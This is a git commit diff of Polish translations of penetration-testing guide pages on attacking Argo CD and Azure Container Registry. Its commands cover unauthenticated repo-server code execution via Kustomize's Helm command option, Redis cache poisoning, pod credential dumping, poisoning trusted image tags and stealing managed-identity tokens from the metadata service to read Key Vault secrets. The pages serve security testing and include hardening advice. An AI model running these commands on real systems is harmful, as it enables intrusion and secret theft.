Translated ['src/pentesting-ci-cd/argocd-security.md', 'src/pentesting-c

This commit is contained in:
Translator
2026-07-19 09:25:58 +00:00
parent 5c04193a19
commit 278fca9686
5 changed files with 221 additions and 125 deletions
Binary file not shown.
+85 -84
View File
@@ -4,14 +4,14 @@
## Podstawowe informacje
[Argo CD](https://argo-cd.readthedocs.io/) to platforma ciągłego dostarczania GitOps dla Kubernetes. Monitoruje repozytoria Git, renderuje manifesty Kubernetes za pomocą narzędzi takich jak Helm, Kustomize, Jsonnet lub wtyczki do zarządzania konfiguracją, a następnie uzgadnia rzeczywisty stan klastra z pożądanym stanem zapisanym w Git.
[Argo CD](https://argo-cd.readthedocs.io/) to platforma continuous delivery GitOps dla Kubernetes. Monitoruje repozytoria Git, renderuje manifesty Kubernetes za pomocą narzędzi takich jak Helm, Kustomize, Jsonnet lub config management plugins, a następnie uzgadnia stan działającego klastra z żądanym stanem przechowywanym w Git.
Z perspektywy atakującego traktuj Argo CD jako **silnik wdrożeniowy z poświadczeniami Kubernetes**. Udana kompromitacja Argo CD może prowadzić do:
Z perspektywy atakującego Argo CD należy traktować jako **deployment engine posiadający credentials Kubernetes**. Skuteczne przejęcie Argo CD może prowadzić do:
- Dostępu do prywatnych repozytoriów Git i poświadczeń repozytoriów.
- Dostępu do secretów klastra Kubernetes używanych przez Argo CD.
- Wykonania code execution przy generowaniu manifestów w `argocd-repo-server`.
- Nieautoryzowanego wdrażania obiektów Kubernetes przez zaufane repozytoria Git, aplikacje Argo CD lub manipulację cache.
- Dostępu do prywatnych repozytoriów Git i credentials repozytoriów.
- Dostępu do secrets klastra Kubernetes używanych przez Argo CD.
- Wykonywania kodu podczas generowania manifestów w `argocd-repo-server`.
- Nieautoryzowanego wdrażania obiektów Kubernetes za pośrednictwem zaufanych repozytoriów Git, aplikacji Argo CD lub manipulacji cache.
## Architektura i interesujące komponenty
@@ -24,21 +24,21 @@ kubectl get networkpolicy -n argocd 2>/dev/null
```
Interesujące usługi:
- **`argocd-server`**: publiczne API, web UI, CLI API, uwierzytelnianie i autoryzacja.
- **`argocd-application-controller`**: porównuje desired i live state, a następnie stosuje resources do Kubernetes.
- **`argocd-repo-server`**: klonuje repositories, buforuje dane Git i uruchamia Helm/Kustomize/Jsonnet/plugins, aby generować manifests. Domyślny port gRPC to **8081**.
- **`argocd-redis`**: cache dla application, manifest i Git reference data. Domyślny port Redis to **6379**.
- **`argocd-applicationset-controller`**: generuje obiekty Argo CD `Application` z generatorów takich jak Git, SCM, clusters i pull requests.
- **`argocd-server`**: publiczne API, web UI, API CLI, uwierzytelnianie i autoryzacja.
- **`argocd-application-controller`**: porównuje stan docelowy ze stanem bieżącym, a następnie stosuje zasoby w Kubernetes.
- **`argocd-repo-server`**: klonuje repozytoria, buforuje dane Git i uruchamia Helm/Kustomize/Jsonnet/plugins w celu generowania manifestów. Domyślny port gRPC to **8081**.
- **`argocd-redis`**: cache dla danych aplikacji, manifestów i referencji Git. Domyślny port Redis to **6379**.
- **`argocd-applicationset-controller`**: generuje obiekty Argo CD `Application` na podstawie generatorów takich jak Git, SCM, klastry i pull requesty.
Z kompromitowanego pod lub wewnętrznego segmentu sieci sprawdź wewnętrzną dostępność:
Z przejętego poda lub wewnętrznego segmentu sieci sprawdź dostępność wewnętrzną:
```bash
nc -vz <argocd-server> 443
nc -vz <argocd-repo-server> 8081
nc -vz <argocd-redis> 6379
```
## Public API / UI Attacks
## Ataki na publiczne API / UI
Jeśli masz poświadczenia Argo CD albo wystawioną instancję, zacznij od normalnej powierzchni API:
Jeśli masz dane uwierzytelniające Argo CD lub dostęp do ujawnionej instancji, zacznij od standardowej powierzchni API:
```bash
argocd login <argocd-server>
argocd account get-user-info
@@ -51,13 +51,13 @@ argocd admin settings rbac can <subject> <action> <resource> <object>
```
Przydatne ścieżki ataku:
- **Application write access**: zmodyfikuj `source.repoURL`, `source.path`, wartości Helm, opcje Kustomize, ustawienia pluginów lub opcje sync, aby Argo CD wdrożyło manifesty kontrolowane przez atakującego.
- **Project misconfiguration**: obiekty `AppProject` mogą zezwalać na szerokie `sourceRepos`, szerokie `destinations`, niebezpieczne `clusterResourceWhitelist` lub słabe ograniczenia namespace.
- **Repository credential abuse**: sekrety repository, poświadczenia GitHub App, klucze SSH i tokeny mogą umożliwiać push do zaufanych repo lub dodawanie złośliwych dependencies.
- **Cluster credential abuse**: sekrety cluster mogą zawierać bearer tokens lub konfigurację exec-provider używaną przez Argo CD do wdrażania do docelowych cluster.
- **Local admin / project tokens**: długowieczne tokeny Argo CD mogą być ponownie używane przez API, dopóki nie zostaną revoked albo nie wygasną.
- **Dostęp do zapisu aplikacji**: modyfikuj `source.repoURL`, `source.path`, wartości Helm, opcje Kustomize, ustawienia pluginów lub opcje synchronizacji, aby Argo CD wdrażało kontrolowane przez atakującego manifesty.
- **Błędna konfiguracja projektu**: obiekty `AppProject` mogą zezwalać na szerokie `sourceRepos`, szerokie `destinations`, niebezpieczne `clusterResourceWhitelist` lub słabe ograniczenia przestrzeni nazw.
- **Nadużycie poświadczeń repozytorium**: sekrety repozytorium, poświadczenia GitHub App, klucze SSH i tokeny mogą umożliwić wysyłanie zmian do zaufanych repozytoriów lub dodawanie złośliwych zależności.
- **Nadużycie poświadczeń klastra**: sekrety klastra mogą zawierać tokeny bearer lub konfigurację exec-provider używaną przez Argo CD do wdrażania w klastrach docelowych.
- **Tokeny lokalnego administratora / projektu**: długotrwałe tokeny Argo CD mogą być ponownie używane za pośrednictwem API, dopóki nie zostaną unieważnione lub wygasną.
Wylicz konfigurację z Kubernetes, gdy masz cluster read access:
Wyliczaj konfigurację z Kubernetes, gdy masz dostęp do odczytu klastra:
```bash
kubectl get applications.argoproj.io -A -o yaml
kubectl get appprojects.argoproj.io -A -o yaml
@@ -65,49 +65,49 @@ kubectl get applicationsets.argoproj.io -A -o yaml
kubectl get secrets -n argocd -o yaml | grep -nE 'repoURL|sshPrivateKey|password|bearerToken|githubApp|tlsClientCertData|tlsClientCertKey'
kubectl get cm -n argocd argocd-cm argocd-rbac-cm argocd-cmd-params-cm -o yaml
```
## Trusted Git Repository Abuse
## Nadużycie zaufanego repozytorium Git
Jeśli możesz pushować do repozytorium zaufanego przez Argo CD, zwykle możesz wpływać na to, co zostanie wdrożone. Impact zależy od granic `AppProject` i uprawnień service account używanych przez application controller.
Jeśli możesz wykonywać push do repozytorium zaufanego przez Argo CD, zwykle możesz wpływać na to, co zostanie wdrożone. Skutki zależą od granic `AppProject` oraz uprawnień service account używanych przez application controller.
Common payload locations:
Typowe miejsca umieszczania payloadów:
- Raw Kubernetes YAML pod ścież aplikacji.
- Helm chart templates i `values.yaml`.
- Kustomize overlays, remote bases i generatory.
- Jsonnet albo wejście pluginu config management.
- Pliki generatora ApplicationSet, które tworzą albo aktualizują obiekty `Application`.
- Surowy Kubernetes YAML w ścieżce aplikacji.
- Szablony Helm chartów i `values.yaml`.
- Overlaye Kustomize, remote bases i generatory.
- Dane wejściowe Jsonnet lub config management plugin.
- Pliki generatorów ApplicationSet, które tworzą lub aktualizują obiekty `Application`.
Sprawdź, czy app używa automated sync, pruning, self-heal, sync windows albo manual approvals:
Sprawdź, czy aplikacja używa automatycznej synchronizacji, pruning, self-heal, sync windows lub ręcznych zatwierdzeń:
```bash
kubectl get applications.argoproj.io -A \
-o custom-columns='NS:.metadata.namespace,APP:.metadata.name,PROJECT:.spec.project,AUTOSYNC:.spec.syncPolicy.automated,REPO:.spec.source.repoURL,PATH:.spec.source.path,DEST:.spec.destination.server'
```
## Bezpośrednie nadużycie `argocd-repo-server`
Nie zakładaj, że publiczne API Argo CD to jedyna powierzchnia ataku. Wewnętrzne komponenty Argo CD komunikują się z `argocd-repo-server` przez gRPC. Jeśli dowolne pods mogą osiągnąć repo-server, kontrolowane przez atakującego wewnętrzne żądania mogą omić kontrole normalnie egzekwowane przez `argocd-server`.
Nie zakładaj, że publiczne API Argo CD jest jedyną powierzchnią ataku. Wewnętrzne komponenty Argo CD komunikują się z `argocd-repo-server` za pośrednictwem gRPC. Jeśli dowolne pody mogą łączyć się z repo-server, żądania wewnętrzne kontrolowane przez atakującego mogą omijać kontrole normalnie wymuszane przez `argocd-server`.
Praktyczne sprawdzenia:
Praktyczne kontrole:
```bash
kubectl get svc -n argocd argocd-repo-server -o yaml
kubectl get endpoints -n argocd argocd-repo-server -o wide
nc -vz <argocd-repo-server> 8081
```
Interesujące sygnały:
Ciekawe oznaki:
- Endpoint gRPC repo-server jest osiągalny z podów spoza Argo CD.
- Brakuje NetworkPolicies albo zezwalają tylko na allow-list egress bez blokowania ingress.
- repo-server ma dostęp do niestandardowych pluginów config management, narzędzi do decryptowania albo zawartości repository z wielu tenantów.
- Redis jest osiągalny z podów spoza Argo CD, co pozwala na inspekcję cache albo jego modyfikację, jeśli credentials są dostępne albo nie są wymagane.
- Endpoint gRPC repo-server jest dostępny z podów spoza Argo CD.
- Brakuje NetworkPolicies albo zezwalają one wyłącznie na egress bez blokowania ingress.
- repo-server ma dostęp do niestandardowych pluginów zarządzania konfiguracją, narzędzi deszyfrujących lub zawartości repozytoriów należących do wielu tenantów.
- Redis jest dostępny z podów spoza Argo CD, co umożliwia inspekcję lub modyfikowanie cache, jeśli dane uwierzytelniające są dostępne albo nie są wymagane.
## Unauthenticated Repo-Server RCE via Kustomize Options
W lipcu 2026 Synacktiv ujawnił chain wykonania code bez uwierzytelnienia w `repo-server` Argo CD, gdy atakujący może dosięgnąć wewnętrznej usługi gRPC. Atak wykorzystuje bezpośredni dostęp do `/repository.RepoServerService/GenerateManifest` oraz kontrolowane przez atakującego `KustomizeOptions`.
W lipcu 2026 roku Synacktiv ujawnił nieuwierzytelniony łańcuch code execution w Argo CD, gdy attacker może uzyskać dostęp do wewnętrznej usługi gRPC `repo-server`. Atak wykorzystuje bezpośredni dostęp do `/repository.RepoServerService/GenerateManifest` oraz kontrolowane przez attackera `KustomizeOptions`.
Niebezpieczny primitive polega na wymuszeniu, aby repo-server sklonował zawartość repository kontrolowaną przez atakującego i uruchomił Kustomize z obsługą Helm:
Niebezpieczny primitive polega na wymuszeniu, aby repo-server sklonował zawartość repozytorium kontrolowaną przez attackera i uruchomił Kustomize z obsługą Helm:
```bash
kustomize build <attacker_repo_path> --enable-helm --helm-command ./payload.sh
```
Minimalny złośliwy input Kustomize potrzebny do uruchomienia przetwarzania Helm:
Minimalny złośliwy input Kustomize musi uruchomić przetwarzanie Helm:
```yaml
helmCharts:
- name: pwn
@@ -115,37 +115,37 @@ version: 0.0.1
```
Dlaczego to działa:
- `argocd-repo-server` klonuje repository przed renderowaniem.
- `--helm-command ./payload.sh` rozwiązuje się względnie do sklonowanego repository.
- code execution nie wymaga wstrzyknięcia shell metacharacterów, jeśli attacker może kontrolować renderowane repository i opcje build Kustomize.
- `argocd-repo-server` klonuje repozytorium przed renderowaniem.
- `--helm-command ./payload.sh` jest rozwiązywane względem sklonowanego repozytorium.
- Wykonanie kodu nie wymaga wstrzykiwania metaznaków powłoki, jeśli atakujący może kontrolować renderowane repozytorium i opcje kompilacji Kustomize.
W momencie ujawnienia przez Synacktiv 1 lipca 2026, zgłosili oni, że issue nie miała oficjalnego fix ani CVE. Traktuj to najpierw jako problem network-exposure: exploitation wymaga osiągalności wewnętrznego portu gRPC repo-server.
W chwili ujawnienia przez Synacktiv 1 lipca 2026 r. poinformowali oni, że problem nie miał oficjalnej poprawki ani CVE. W pierwszej kolejności traktuj to jako problem z ekspozycją sieciową: exploitation wymaga osiągalności wewnętrznego portu gRPC repo-server.
## Redis Cache Poisoning to Deploy Manifests
## Redis Cache Poisoning do wdrażania manifestów
Po code execution w `argocd-repo-server`, albo po bezpośrednim dostępie do Redis z poprawnymi credentials, sprawdź cache entries oparte na Redis. Argo CD często przechowuje gzip-compressed wartości JSON.
Po wykonaniu kodu w `argocd-repo-server` lub po uzyskaniu bezpośredniego dostępu do Redis przy użyciu prawidłowych danych uwierzytelniających sprawdź wpisy cache opartego na Redis. Argo CD często przechowuje wartości JSON skompresowane gzipem.
Interesujące prefixy key:
Interesujące prefiksy kluczy:
```text
mfst|... # cached rendered manifests
git-refs|... # Git branch/ref to commit mappings
app|... # application resource/cache data
cluster|... # cluster cache information
```
Atak cache poisoning opisany przez Synacktiv nadużywa dwóch elementów stanu:
Atak cache poisoning opisany przez Synacktiv wykorzystuje dwa elementy stanu:
1. Zmodyfikuj odpowiedni wpis cache manifestu `mfst|...`, aby zawierał manifest Kubernetes kontrolowany przez atakującego.
2. Zmodyfikuj powiązane mapowanie `git-refs|...`, aby Argo CD uwierzyło, że gałąź została przesunięta, a następnie ponownie zsynchronizowało się do zbuforowanej wersji.
1. Modyfikację odpowiedniego wpisu cache manifestu `mfst|...` w celu dodania manifestu Kubernetes kontrolowanego przez atakującego.
2. Modyfikację powiązanego mapowania `git-refs|...`, aby Argo CD uznało, że branch został zmieniony, a następnie wykonało reconcile z powrotem do revision znajdującego się w cache.
Wpływ:
- Przy włączonym Auto Sync Argo CD może automatycznie zastosować zatruty zbuforowany manifest.
- Przy włączonym Auto Sync Argo CD może automatycznie zastosować zatruty manifest znajdujący się w cache.
- Bez Auto Sync payload może nadal zostać zastosowany, gdy użytkownik ręcznie zsynchronizuje aplikację.
- Końcowy wpływ jest ograniczony przez destination aplikacji docelowej oraz uprawnienia Kubernetes dostępne dla Argo CD.
- Ostateczny wpływ jest ograniczony przez destination docelowej aplikacji oraz uprawnienia Kubernetes dostępne dla Argo CD.
## ApplicationSet Attacks
ApplicationSet jest szczególnie wrażliwy, ponieważ tworzy lub aktualizuje obiekty `Application` na podstawie wyjścia generatora.
ApplicationSet jest szczególnie wrażliwy, ponieważ tworzy lub aktualizuje obiekty `Application` na podstawie danych wyjściowych generatora.
Review:
```bash
@@ -154,15 +154,15 @@ kubectl get appprojects.argoproj.io -A -o yaml
```
Interesujące wzorce:
- Generatory git odczytujące pliki zapisywalne przez atakującego, które kontrolują nazwy app, ścieżki, projekty lub destinations.
- Generatory pull request dla publicznych repozytoriów, gdzie nieufni contributorzy mogą wpływać na generowane applications.
- Pola template, które pozwalają na szerokie destination clusters/namespaces.
- AppProjects, które zezwalają na `sourceRepos: ["*"]` lub szerokie `destinations`.
- Generowane applications, które dziedziczą automated sync i pruning.
- Git generators odczytujące pliki zapisywalne przez attackera, które kontrolują nazwy aplikacji, ścieżki, projekty lub destinations.
- Pull request generators dla publicznych repozytoriów, w których niezaufani kontrybutorzy mogą wpływać na generowane aplikacje.
- Pola szablonów umożliwiające szeroki zakres docelowych klastrów lub namespace’ów.
- AppProjects zezwalające na `sourceRepos: ["*"]` lub szerokie `destinations`.
- Generowane aplikacje dziedziczące automated sync i pruning.
## Post-Exploitation
Z poziomu shell w podzie Argo CD, priorytetyzuj:
Z poziomu powłoki poda Argo CD priorytetowo:
```bash
env
cat /proc/1/environ 2>/dev/null | tr '\0' '\n'
@@ -171,24 +171,24 @@ mount | grep -E 'secret|token|config'
```
Przydatne cele:
- Ukradnij `REDIS_PASSWORD` lub material TLS/client Redis.
- Wyciągnij credentials repozytorium z zamontowanych secrets lub Argo CD Kubernetes secrets.
- Zidentyfikuj cluster credentials używane przez Argo CD.
- Odczytaj wygenerowane manifests i output pluginów, które mogą zawierać wstrzyknięte sekrety.
- Sprawdź, czy custom plugins, SOPS, Helm secrets, Vault plugins lub cloud CLIs ujawniają decryption keys i cloud credentials.
- Steal `REDIS_PASSWORD` lub materiały klienta/TLS Redis.
- Extract credentials repozytoriów z zamontowanych secrets lub secrets Kubernetes Argo CD.
- Identify credentials klastra używane przez Argo CD.
- Read generated manifests i output pluginów, które mogą zawierać wstrzyknięte secrets.
- Check whether custom plugins, SOPS, Helm secrets, Vault plugins lub cloud CLIs expose decryption keys i credentials chmurowe.
## Detection & Hardening
## Wykrywanie i hardening
Ważne kontrole:
- Ogranicz port **8081** `argocd-repo-server` i port Redis **6379** za pomocą NetworkPolicies, aby tylko oczekiwane komponenty Argo CD mogły się z nimi łączyć.
- W wdrożeniach Helm sprawdź, czy network policies są faktycznie tworzone. Wartości Argo CD Helm chart historycznie miały domyślnie wyłączone tworzenie network policy dla komponentów.
- Traktuj `argocd-server` jako uwierzytelniony punkt wejścia. Usługi wewnętrzne nie powinny być osiągalne z dowolnych workloadów.
- Wyłącz nieużywane narzędzia i pluginy do config management.
- Ogranicz `AppProject` `sourceRepos`, `destinations`, uprawnienia namespace oraz cluster-scoped resources.
- Unikaj przechowywania szerokich repository credentials, które może zostać ponownie użyte przez użytkownika Argo CD o niskich uprawnieniach.
- Monitoruj requests do repo-server, Kustomize build options, wykonania pluginów, zapisy do Redis oraz nieoczekiwany dostęp do kluczy `mfst|` / `git-refs|`.
- Rotuj lokalnych użytkowników Argo CD, project tokens, repository credentials i cluster credentials po kompromitacji.
- Ogranicz port `argocd-repo-server` **8081** i port Redis **6379** za pomocą NetworkPolicies, tak aby tylko oczekiwane komponenty Argo CD mogły się z nimi łączyć.
- W Helm deployments sprawdź, czy network policies są faktycznie tworzone. Wartości Helm chartu Argo CD historycznie domyślnie wyłączały tworzenie network policy dla komponentów.
- Utrzymuj `argocd-server` jako uwierzytelniony punkt wejścia. Usługi wewnętrzne nie powinny być dostępne z dowolnych workloadów.
- Wyłącz nieużywane narzędzia i pluginy do zarządzania konfiguracją.
- Ogranicz `AppProject` `sourceRepos`, `destinations`, uprawnienia do namespace’ów oraz zasoby o zasięgu klastra.
- Unikaj przechowywania szerokich credentials repozytoriów w miejscu, w którym użytkownik Argo CD o niskich uprawnieniach może doprowadzić do ich ponownego użycia.
- Monitoruj requests repo-server, opcje buildowania Kustomize, uruchomienia pluginów, zapisy Redis oraz nieoczekiwany dostęp do kluczy `mfst|` / `git-refs|`.
- Po kompromitacji wykonaj rotację lokalnych użytkowników Argo CD, tokenów projektów, credentials repozytoriów i credentials klastra.
Przydatne komendy:
```bash
@@ -197,23 +197,24 @@ kubectl get networkpolicy -A | grep -i argocd
kubectl describe networkpolicy -n argocd argocd-repo-server-network-policy 2>/dev/null
kubectl describe networkpolicy -n argocd argocd-redis-network-policy 2>/dev/null
```
## Uwaga dotycząca statycznej analizy: Typed API Requests w CodeQL
## Uwaga dotycząca analizy statycznej: typowane żądania API w CodeQL
Dla usług Go używających handlerów gRPC/REST, domyślne remote sources w CodeQL mogą nie wychwycić przepływów po tym, jak raw input został zdeserializowany do typed request objects. Przydatny model dla usług w stylu Argo CD to:
W przypadku usług Go korzystających z handlerów gRPC/REST domyślne zdalne źródła CodeQL mogą nie wykrywać przepływów po zdeserializowaniu surowych danych wejściowych do typowanych obiektów żądań. Przydatny model dla usług w stylu Argo CD obejmuje:
- Typ odbiorcy, taki jak `Server` lub `Service`.
- Pierwszy parametr to `context.Context`.
- Drugi parametr to typed request object.
- Drugi parametr to typowany obiekt żądania.
Zamodeluj ten drugi parametr jako remote source i dodaj niestandardowe sinks dla argumentów `exec.Command` / `exec.CommandContext`. To pomaga znaleźć przepływy z pól wewnętrznych API request do helperów wykonujących komendy.
Potraktuj drugi parametr jako zdalne źródło i dodaj własne sinki dla argumentów `exec.Command` / `exec.CommandContext`. Pomaga to wykrywać przepływy z wewnętrznych pól żądań API do helperów wykonujących polecenia.
## Referencje
- [Synacktiv - Caught in the Octopus Trap: Unauthenticated RCE in Argo CD with CodeQL](https://www.synacktiv.com/en/publications/caught-in-the-octopus-trap-unauthenticated-rce-in-argo-cd-with-codeql)
- [Argo CD docs - Security considerations](https://argo-cd.readthedocs.io/en/stable/operator-manual/security/)
- [Argo CD docs - High Availability](https://argo-cd.readthedocs.io/en/stable/operator-manual/high_availability/)
- [Argo CD docs - repo-server command reference](https://argo-cd.readthedocs.io/en/stable/operator-manual/server-commands/argocd-repo-server/)
- [Argo CD - repo-server NetworkPolicy manifest](https://github.com/argoproj/argo-cd/blob/master/manifests/base/repo-server/argocd-repo-server-network-policy.yaml)
- [Argo CD docs - metrics](https://argo-cd.readthedocs.io/en/latest/operator-manual/metrics/)
- [Argo Helm - chart values reference](https://github.com/argoproj/argo-helm/blob/main/charts/argo-cd/README.md)
- [Kustomize - Helm chart generator example](https://github.com/kubernetes-sigs/kustomize/blob/master/examples/chart.md)
- [Synacktiv - Caught in the Octopus Trap: nieuwierzytelnione RCE w Argo CD z CodeQL](https://www.synacktiv.com/en/publications/caught-in-the-octopus-trap-unauthenticated-rce-in-argo-cd-with-codeql)
- [Dokumentacja Argo CD - uwagi dotyczące bezpieczeństwa](https://argo-cd.readthedocs.io/en/stable/operator-manual/security/)
- [Dokumentacja Argo CD - High Availability](https://argo-cd.readthedocs.io/en/stable/operator-manual/high_availability/)
- [Dokumentacja Argo CD - referencja poleceń repo-server](https://argo-cd.readthedocs.io/en/stable/operator-manual/server-commands/argocd-repo-server/)
- [Argo CD - manifest NetworkPolicy dla repo-server](https://github.com/argoproj/argo-cd/blob/master/manifests/base/repo-server/argocd-repo-server-network-policy.yaml)
- [Dokumentacja Argo CD - metryki](https://argo-cd.readthedocs.io/en/latest/operator-manual/metrics/)
- [Argo Helm - referencja wartości chartu](https://github.com/argoproj/argo-helm/blob/main/charts/argo-cd/README.md)
- [Kustomize - przykład generatora chartu Helm](https://github.com/kubernetes-sigs/kustomize/blob/master/examples/chart.md)
{{#include ../banners/hacktricks-training.md}}
@@ -6,4 +6,8 @@
az-azure-ai-foundry-post-exploitation.md
{{#endref}}
{{#ref}}
az-container-registry-post-exploitation.md
{{#endref}}
{{#include ../../../banners/hacktricks-training.md}}
@@ -0,0 +1,87 @@
# Az - Container Registry Post Exploitation
{{#include ../../../banners/hacktricks-training.md}}
## Azure Container Registry
Więcej informacji o tej usłudze znajdziesz tutaj:
{{#ref}}
../az-services/az-container-registry.md
{{#endref}}
### `Microsoft.ContainerRegistry/registries/listCredentials/action`, `Microsoft.ContainerRegistry/registries/write`
Tożsamość z dostępem do płaszczyzny zarządzania ACR może przekształcić ten dostęp w **wielokrotnego użytku poświadczenia Docker**. Jeśli **użytkownik administratora** jest wyłączony, ale podmiot ma również uprawnienie `registries/write`, włącz go, odzyskaj hasła i uwierzytelnij się bezpośrednio wobec `<registry>.azurecr.io`.
```bash
az acr show --resource-group <resource-group> --name <registry-name> --query adminUserEnabled
az acr update --resource-group <resource-group> --name <registry-name> --admin-enabled true
az acr credential show -n <registry-name>
docker login <registry-name>.azurecr.io -u <username> -p <password>
```
Jest to przydatne, ponieważ odzyskane dane uwierzytelniające można ponownie wykorzystać poza Azure CLI do **wyświetlania, pobierania, przesyłania, nadpisywania, a czasami także usuwania** zawartości registry, dopóki konto administratora nie zostanie wyłączone lub hasła nie zostaną zmienione.
### `Microsoft.ContainerRegistry/registries/pull/read`
Użyj dostępu pull do **repository reconnaissance** i **secret hunting** wewnątrz obrazów. Przeanalizuj zarówno końcową konfigurację kontenera, jak i historyczne warstwy filesystem, ponieważ pliki skopiowane w jednej warstwie mogą pozostać możliwe do odzyskania, nawet jeśli później zostaną usunięte.
```bash
az acr repository list -n <registry-name>
az acr repository show-tags -n <registry-name> --repository <repository> --detail
docker pull <registry-name>.azurecr.io/<repository>:<tag>
container_id=$(docker create <registry-name>.azurecr.io/<repository>:<tag>)
docker cp "$container_id":/ ./extracted_container
docker rm "$container_id"
docker inspect <registry-name>.azurecr.io/<repository>:<tag> | jq -r '.[0].Config.Env[]?'
dive <registry-name>.azurecr.io/<repository>:<tag>
```
Cele o wysokiej wartości obejmują **zmienne środowiskowe**, **konfiguracje aplikacji**, **skrypty deploymentu**, **certyfikaty**, **tokeny dostępu** oraz **connection strings**. Aby znaleźć więcej pomysłów podczas przeglądania warstw, sprawdź stronę Docker forensics:
{{#ref}}
https://book.hacktricks.wiki/en/generic-methodologies-and-resources/basic-forensic-methodology/docker-forensics.html
{{#endref}}
### `Microsoft.ContainerRegistry/registries/push/write`
Uprawnienia push pozwalają atakującemu **zatruwać zaufane repozytoria** lub **nadpisywać modyfikowalne tagi**, takie jak `latest`, `prod` lub `stable`. Każdy workload, który nadal wykonuje deployment na podstawie tagu zamiast digestu, może pobrać obraz atakującego podczas następnego deploymentu, zdarzenia scale-out lub restartu.
```bash
# Retag an existing local image for the target ACR
docker tag <local-image>:<local-tag> <registry-name>.azurecr.io/<repository>:<trusted-tag>
docker push <registry-name>.azurecr.io/<repository>:<trusted-tag>
# If your workstation architecture differs from the target runtime, build for the consumer platform first
docker buildx build --platform linux/amd64 -t <registry-name>.azurecr.io/<repository>:<trusted-tag> --load .
docker push <registry-name>.azurecr.io/<repository>:<trusted-tag>
```
Przed zastąpieniem tagu sprawdź, które repozytoria i tagi są faktycznie używane przez downstream workloads. Konsumenci **digest-pinned** (`@sha256:...`) są znacznie trudniejsi do przekierowania niż konsumenci korzystający z tagów.
### `Microsoft.ContainerRegistry/registries/push/write`, `Microsoft.ContainerInstance/containerGroups/restart/action`
Jeśli możesz zarówno **zastąpić obraz** używany przez downstream container workload, jak i **zrestartować** ten workload, złośliwy entrypoint zostanie wykonany w **kontekście sieciowym i kontekście managed identity** docelowego kontenera. Następnie obraz może żądać tokenów z IMDS i uzyskiwać dostęp do zasobów Azure osiągalnych dla tej workload identity.
```bash
TOKEN=$(curl -s -H Metadata:true 'http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://vault.azure.net' | jq -r .access_token)
curl -H "Authorization: Bearer $TOKEN" \
'https://<vault-name>.vault.azure.net/secrets/<secret-name>?api-version=7.4'
az container restart --resource-group <resource-group> --name <container-name>
```
Ta zmiana tagu ACR w **code execution**, **secret theft** lub **lateral movement** wewnątrz dowolnego konsumenta kontenera, który ufa zmodyfikowanemu tagowi i udostępnia użyteczną tożsamość.
### Powiązana ścieżka privesc: ACR Tasks managed identities
Jeśli masz również `Microsoft.ContainerRegistry/registries/tasks/write` i `Microsoft.ContainerRegistry/registries/runs/write`, przejdź do ścieżki ACR privesc i bezpośrednio wykorzystaj managed identity zadania:
{{#ref}}
../az-privilege-escalation/az-container-registry-privesc.md
{{#endref}}
## Referencje
- [TrustedSec - Pandora's Container Part 1: Unpacking Azure Container Security](https://trustedsec.com/blog/pandoras-container-part-1-unpacking-azure-container-security)
- [Microsoft Learn - Azure Container Registry authentication](https://learn.microsoft.com/en-us/azure/container-registry/container-registry-authentication)
- [Microsoft Learn - az acr credential](https://learn.microsoft.com/en-us/cli/azure/acr/credential?view=azure-cli-latest)
- [Microsoft Learn - az acr repository](https://learn.microsoft.com/en-us/cli/azure/acr/repository?view=azure-cli-latest)
- [Microsoft Learn - ACR Tasks YAML reference](https://learn.microsoft.com/en-us/azure/container-registry/container-registry-tasks-reference-yaml)
{{#include ../../../banners/hacktricks-training.md}}
@@ -4,37 +4,37 @@
## Podstawowe informacje
Azure Container Registry (ACR) to bezpieczny, prywatny registry, który pozwala **przechowywać, zarządzać i uzyskiwać dostęp do container images w Azure cloud**. Integruje się bezproblemowo z kilkoma usługami Azure, zapewniając automatyczne workflows build i deployment na dużą skalę. Dzięki funkcjom takim jak geo-replication i vulnerability scanning, ACR pomaga zapewnić bezpieczeństwo klasy enterprise oraz compliance dla aplikacji kontenerowych.
Azure Container Registry (ACR) to bezpieczny, prywatny registry, który umożliwia **przechowywanie, zarządzanie obrazami kontenerów oraz uzyskiwanie do nich dostępu w Azure cloud**. Integruje się bezproblemowo z kilkoma usługami Azure, zapewniając zautomatyzowane workflow budowania i wdrażania na dużą skalę. Dzięki funkcjom takim jak geo-replikacja i skanowanie podatności ACR pomaga zapewnić bezpieczeństwo klasy enterprise oraz zgodność dla aplikacji konteneryzowanych.
### Permissions
### Uprawnienia
Oto **różne permissions** [zgodnie z docs](https://learn.microsoft.com/en-us/azure/container-registry/container-registry-roles?tabs=azure-cli#access-resource-manager), które można nadać dla Container Registry:
to **różne uprawnienia** [zgodnie z dokumentacją](https://learn.microsoft.com/en-us/azure/container-registry/container-registry-roles?tabs=azure-cli#access-resource-manager), które można nadać w ramach Container Registry:
- Access Resource Manager
- Create/delete registry
- Push image
- Pull image
- Delete image data
- Change policies
- Sign images
- Dostęp do Resource Manager
- Tworzenie/usuwanie registry
- Push obrazu
- Pull obrazu
- Usuwanie danych obrazu
- Zmiana policies
- Podpisywanie obrazów
Istnieją też pewne **built-in roles**, które można przypisać, a także możliwe jest tworzenie **custom roles**.
Dostępne są również pewne **wbudowane role**, które można przypisać, a także możliwe jest tworzenie **custom roles**.
![Azure Container Registry built-in roles permissions matrix for managing registry, image, data, policies, and signing actions](/images/registry_roles.png)
![Macierz uprawnień wbudowanych ról Azure Container Registry do zarządzania registry, obrazami, danymi, policies i operacjami podpisywania](/images/registry_roles.png)
### Authentication
### Uwierzytelnianie
> [!WARNING]
> Bardzo ważne jest, że nawet jeśli nazwa registry zawiera wielkie litery, zawsze powinieneś używać **małych liter** do login, push i pull images.
> Bardzo ważne jest, aby nawet jeśli nazwa registry zawiera wielkie litery, zawsze używać **małych liter** podczas logowania oraz wykonywania push i pull obrazów.
Istnieją 4 sposoby authentication do ACR:
Istnieją 4 sposoby uwierzytelniania w ACR:
- **With Entra ID**: To jest **default** sposób authentication do ACR. Używa komendy **`az acr login`**, aby authenticate do ACR. Ta komenda **zapisze credentials** w pliku **`~/.docker/config.json`**. Co więcej, jeśli uruchamiasz tę komendę w środowisku bez dostępu do docker socket, jak w **cloud shell**, można użyć flagi **`--expose-token`**, aby uzyskać **token** do authenticate do ACR. Następnie, aby authenticate, musisz użyć jako nazwy użytkownika `00000000-0000-0000-0000-000000000000`, np.: `docker login myregistry.azurecr.io --username 00000000-0000-0000-0000-000000000000 --password-stdin <<< $TOKEN`
